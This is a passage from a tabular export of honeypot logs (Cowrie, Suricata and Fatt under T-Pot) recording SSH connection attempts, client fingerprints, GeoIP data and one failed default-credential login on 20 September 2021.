"[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 45488, "dest_port": 22, "timestamp": "2021-09-20T11:26:43.598872", "@timestamp": "2021-09-20T11:26:43.598Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29495	1.117.166.242	109.199.241.180	Cowrie	2021-09-20 14:26:43.312685+03	2021-09-20 14:30:04.199524+03	{"_id": "9Qb1AnwBvYTbRNuEUjUr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.166.242", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.166.242", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.166.242:39124 (192.168.176.2:22) [session: ea687306a4ca]", "session": "ea687306a4ca", "@version": "1", "protocol": "ssh", "src_port": 39124, "dest_port": 22, "timestamp": "2021-09-20T11:26:43.312685Z", "@timestamp": "2021-09-20T11:26:43.312Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29496	8.37.43.231	109.199.241.180	Suricata	2021-09-20 14:26:43.635949+03	2021-09-20 14:30:04.200523+03	{"_id": "DQb1AnwBvYTbRNuEUzbh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.99.16.8843534"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:26:18.304484+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 789, "bytes_toserver": 1222}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "8.37.43.231", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "proto": "TCP", "src_ip": "8.37.43.231", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1716004520109412, "payload": "AAAAVC4eAAAAIDdjV9TcVrbCKURD+16pyrPVkOQipRbT9lwnr8lCEP8KDahGfehnBThEh7mOMnfuwA0hgVhiWju5bVDBIaC8pJ/v740lPtqSBHFBJTAFjg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51418, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:26:43.635949Z", "@timestamp": "2021-09-20T11:26:43.635Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..... 7cW..V..)DC.^......\\"....\\\\'..B..\\n\\r.F}.g.8D...2w..\\r!.XbZ;.mP.!.......%>...qA%0.."}}	1	\N	\N	alert	\N	\N
29497	8.37.43.231	109.199.241.180	Cowrie	2021-09-20 14:26:44.260125+03	2021-09-20 14:30:04.201523+03	{"_id": "FAb1AnwBvYTbRNuEVjYS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.231", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.231", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin] failed", "session": "9a97a52c62f1", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:26:44.260125Z", "@timestamp": "2021-09-20T11:26:44.260Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
29499	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:26:45.941082+03	2021-09-20 14:30:04.203524+03	{"_id": "GAb1AnwBvYTbRNuEWTb7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "56f4f6e3ccfd", "@version": "1", "duration": 2.6081433296203613, "timestamp": "2021-09-20T11:26:45.941082Z", "@timestamp": "2021-09-20T11:26:45.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29500	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:26:43.33457+03	2021-09-20 14:30:04.205524+03	{"_id": "4Qb1AnwBvYTbRNuEUTUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.166.242", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39124, "timestamp": "2021-09-20T11:26:43.334570", "@timestamp": "2021-09-20T11:26:43.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29501	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:26:43.338323+03	2021-09-20 14:30:04.206525+03	{"_id": "5Qb1AnwBvYTbRNuEUTUi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "8.37.43.231", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51418, "timestamp": "2021-09-20T11:26:43.338323", "@timestamp": "2021-09-20T11:26:43.338Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29502	8.37.43.231	109.199.241.180	Cowrie	2021-09-20 14:26:43.320235+03	2021-09-20 14:30:04.208523+03	{"_id": "_wb1AnwBvYTbRNuEUjUr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.231", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.231", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 8.37.43.231:51418 (192.168.176.2:22) [session: 9a97a52c62f1]", "session": "9a97a52c62f1", "@version": "1", "protocol": "ssh", "src_port": 51418, "dest_port": 22, "timestamp": "2021-09-20T11:26:43.320235Z", "@timestamp": "2021-09-20T11:26:43.320Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
29503	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:26:43.31659+03	2021-09-20 14:30:04.209524+03	{"_id": "9gb1AnwBvYTbRNuEUjUr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:41804 (192.168.176.2:22) [session: 5755de78e37a]", "session": "5755de78e37a", "@version": "1", "protocol": "ssh", "src_port": 41804, "dest_port": 22, "timestamp": "2021-09-20T11:26:43.316590Z", "@timestamp": "2021-09-20T11:26:43.316Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29504	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:26:43.750191+03	2021-09-20 14:30:04.210523+03	{"_id": "-Ab1AnwBvYTbRNuEUjUr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.89.194.160:43864 (192.168.176.2:22) [session: d6d924c2f7ec]", "session": "d6d924c2f7ec", "@version": "1", "protocol": "ssh", "src_port": 43864, "dest_port": 22, "timestamp": "2021-09-20T11:26:43.750191Z", "@timestamp": "2021-09-20T11:26:43.750Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29505	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:26:43.309292+03	2021-09-20 14:30:04.211524+03	{"_id": "Agb1AnwBvYTbRNuEUjYr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.session.closed", "message": "Connection lost after 54 seconds", "session": "90b855a8ccd2", "@version": "1", "duration": 54.35230541229248, "timestamp": "2021-09-20T11:26:43.309292Z", "@timestamp": "2021-09-20T11:26:43.309Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29506	1.117.166.242	109.199.241.180	Cowrie	2021-09-20 14:26:43.333121+03	2021-09-20 14:30:04.212523+03	{"_id": "-gb1AnwBvYTbRNuEUjUr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.166.242", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.166.242", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ea687306a4ca", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:26:43.333121Z", "@timestamp": "2021-09-20T11:26:43.333Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29507	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:26:43.336102+03	2021-09-20 14:30:04.214524+03	{"_id": "BAb1AnwBvYTbRNuEUjYr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "5755de78e37a", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:26:43.336102Z", "@timestamp": "2021-09-20T11:26:43.336Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29508	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:26:43.340519+03	2021-09-20 14:30:04.215525+03	{"_id": "BQb1AnwBvYTbRNuEUjYr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "56f4f6e3ccfd", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:26:43.340519Z", "@timestamp": "2021-09-20T11:26:43.340Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29509	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:26:43.339571+03	2021-09-20 14:30:04.216524+03	{"_id": "_Ab1AnwBvYTbRNuEUjUr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "4b31f060c87d", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:26:43.339571Z", "@timestamp": "2021-09-20T11:26:43.339Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29510	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:26:43.599099+03	2021-09-20 14:30:04.217525+03	{"_id": "Bwb1AnwBvYTbRNuEUjYr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "56f4f6e3ccfd", "@version": "1", "timestamp": "2021-09-20T11:26:43.599099Z", "@timestamp": "2021-09-20T11:26:43.599Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29511	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:26:43.752804+03	2021-09-20 14:30:04.218524+03	{"_id": "CAb1AnwBvYTbRNuEUjYr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d6d924c2f7ec", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:26:43.752804Z", "@timestamp": "2021-09-20T11:26:43.752Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29512	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:26:43.929285+03	2021-09-20 14:30:04.220523+03	{"_id": "_gb1AnwBvYTbRNuEUjUr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d6d924c2f7ec", "@version": "1", "timestamp": "2021-09-20T11:26:43.929285Z", "@timestamp": "2021-09-20T11:26:43.929Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
